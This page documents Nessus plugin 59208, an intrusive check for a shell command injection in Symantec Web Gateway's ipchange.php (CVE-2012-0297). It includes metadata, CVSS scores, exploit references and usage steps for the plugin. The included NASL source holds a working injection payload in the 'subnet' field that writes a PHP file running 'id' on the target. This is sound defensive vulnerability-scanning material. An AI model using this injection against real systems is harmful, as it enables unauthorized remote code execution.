Symantec Web Gateway ipchange.php Shell Command Injection (SYM12-006) (intrusive check) - Nessus

High Plugin ID: 59208

This page contains detailed information about the Symantec Web Gateway ipchange.php Shell Command Injection (SYM12-006) (intrusive check) Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 59208
Name: Symantec Web Gateway ipchange.php Shell Command Injection (SYM12-006) (intrusive check)
Filename: symantec_web_gateway_ipchange_rce.nasl
Vulnerability Published: 2012-05-17
This Plugin Published: 2012-05-21
Last Modification Time: 2021-01-19
Plugin Version: 1.31
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: symantec_web_gateway_detect.nasl
Required KB Items [?]: www/symantec_web_gateway

Vulnerability Information

Severity: High
Vulnerability Published: 2012-05-17
Patch Published: 2012-05-17
CVE [?]: CVE-2012-0297
CPE [?]: cpe:/a:symantec:web_gateway
Exploited by Malware: True

Synopsis

A web security application hosted on the remote web server has a command injection vulnerability.

Description

The remote web server is hosting a version of Symantec Web Gateway that is affected by a shell command injection vulnerability. The ipchange.php script calls the exec() function with user-controlled input that is not properly sanitized. A remote, unauthenticated attacker could exploit this to execute arbitrary shell commands as the apache user. After exploitation, obtaining a root shell is trivial.

Solution

Upgrade to Symantec Web Gateway version 5.0.3 or later.

Public Exploits

Target Network Port(s): 443
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, Immunity Canvas, Core Impact, D2 Elliot)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the Symantec Web Gateway ipchange.php Shell Command Injection (SYM12-006) (intrusive check) vulnerability:

Metasploit: exploit/linux/http/symantec_web_gateway_lfi
[Symantec Web Gateway 5.0.2.8 relfile File Inclusion Vulnerability]
Metasploit: exploit/linux/http/symantec_web_gateway_exec
[Symantec Web Gateway 5.0.2.8 ipchange.php Command Injection]
Exploit-DB: exploits/linux/remote/18942.rb
[EDB-18942: Symantec Web Gateway 5.0.2.8 - Command Execution (Metasploit)]
Exploit-DB: exploits/php/webapps/19065.rb
[EDB-19065: Symantec Web Gateway 5.0.2.8 - 'ipchange.php' Command Injection (Metasploit)]
Exploit-DB: exploits/linux/webapps/19406.txt
[EDB-19406: symantec Web gateway 5.0.2.8 - Multiple Vulnerabilities]
D2 Elliot: symantec_web_gateway_5.0.2_rce.html
[Symantec Web Gateway 5.0.2 RCE]
Immunity Canvas: D2ExploitPack

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:H/RL:OF/RC:C

CVSS Base Score:	10.0 (High)
Impact Subscore:	10.0
Exploitability Subscore:	10.0
CVSS Temporal Score:	8.7 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	8.7 (High)

CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:H/RL:O/RC:C

CVSS Base Score:	8.8 (High)
Impact Subscore:	5.9
Exploitability Subscore:	2.8
CVSS Temporal Score:	8.4 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	8.4 (High)

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Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(59208);
  script_version("1.31");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2012-0297");
  script_bugtraq_id(53444);
  script_xref(name:"TRA", value:"TRA-2012-03");
  script_xref(name:"EDB-ID", value:"19065");

  script_name(english:"Symantec Web Gateway ipchange.php Shell Command Injection (SYM12-006) (intrusive check)");
  script_summary(english:"Uploads and executes a PHP script");

  script_set_attribute(attribute:"synopsis", value:
"A web security application hosted on the remote web server has a
command injection vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote web server is hosting a version of Symantec Web Gateway
that is affected by a shell command injection vulnerability.  The
ipchange.php script calls the exec() function with user-controlled
input that is not properly sanitized.  A remote, unauthenticated
attacker could exploit this to execute arbitrary shell commands as
the apache user.  After exploitation, obtaining a root shell is
trivial.");
  script_set_attribute(attribute:"see_also", value:"https://www.tenable.com/security/research/tra-2012-03");
  script_set_attribute(attribute:"see_also", value:"https://www.zerodayinitiative.com/advisories/ZDI-12-090/");
  # https://support.symantec.com/en_US/article.SYMSA1250.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?5b5929ae");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Symantec Web Gateway version 5.0.3 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:O/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Symantec Web Gateway 5.0.2 RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_malware", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Symantec Web Gateway 5.0.2.8 relfile File Inclusion Vulnerability');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'D2ExploitPack');

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/05/17");
  script_set_attribute(attribute:"patch_publication_date", value:"2012/05/17");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/05/21");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:symantec:web_gateway");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2012-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("symantec_web_gateway_detect.nasl");
  script_require_keys("www/symantec_web_gateway");
  script_require_ports("Services/www", 443);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:443, php:TRUE);
install = get_install_from_kb(appname:'symantec_web_gateway', port:port, exit_on_fail:TRUE);

url = install['dir'] + '/ipchange.php';
filename = strcat('cleaner/', SCRIPT_NAME, '-', unixtime(), '.php');
cmd = 'echo "<? system("id"); ?>" > ' + filename;
postdata = 'ip=localhost%0d%0a&subnet="|' + cmd + '|"';
res = http_send_recv3(
  method:'POST',
  port:port,
  item:url,
  content_type:'application/x-www-form-urlencoded',
  data:postdata,
  exit_on_fail:TRUE
);
script_creation = http_last_sent_request();

url = install['dir'] + '/' + filename;
res = http_send_recv3(method:'GET', item:url, port:port, exit_on_fail:TRUE);

if(!egrep(pattern:'uid=[0-9]+.*gid=[0-9]+.*', string:res[2]))
  audit(AUDIT_WEB_APP_NOT_AFFECTED, 'Symantec Web Gateway', build_url(qs:install['dir'], port:port));

if (report_verbosity > 0)
{
  report =
    '\nNessus created a PHP file by sending the following request :\n\n' +
    crap(data:"-", length:30)+' Request '+ crap(data:"-", length:30)+'\n'+
    chomp(script_creation) + '\n' +
    crap(data:"-", length:30)+' Request '+ crap(data:"-", length:30)+'\n'+
    '\nThis file executes the "id" command and is located at :\n\n' +
    build_url(qs:url, port:port) + '\n';

  if (report_verbosity > 1)
    report += '\nRequesting this file returned the following output :\n\n' + 
      data_protection::sanitize_uid(output:chomp(res[2])) + '\n';

  security_hole(port:port, extra:report);
}
else security_hole(port);

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/symantec_web_gateway_ipchange_rce.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\symantec_web_gateway_ipchange_rce.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/symantec_web_gateway_ipchange_rce.nasl

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How to Run

Here is how to run the Symantec Web Gateway ipchange.php Shell Command Injection (SYM12-006) (intrusive check) as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select CGI abuses plugin family.
On the right side table select Symantec Web Gateway ipchange.php Shell Command Injection (SYM12-006) (intrusive check) plugin ID 59208.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl symantec_web_gateway_ipchange_rce.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a symantec_web_gateway_ipchange_rce.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - symantec_web_gateway_ipchange_rce.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state symantec_web_gateway_ipchange_rce.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

53444

TRA | Tenable Research Advisory:

TRA-2012-03

See also:

Similar and related Nessus plugins:

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Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file symantec_web_gateway_ipchange_rce.nasl version 1.31. For more plugins, visit the Nessus Plugin Library.

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Symantec Web Gateway ipchange.php Shell Command Injection (SYM12-006) (intrusive check) - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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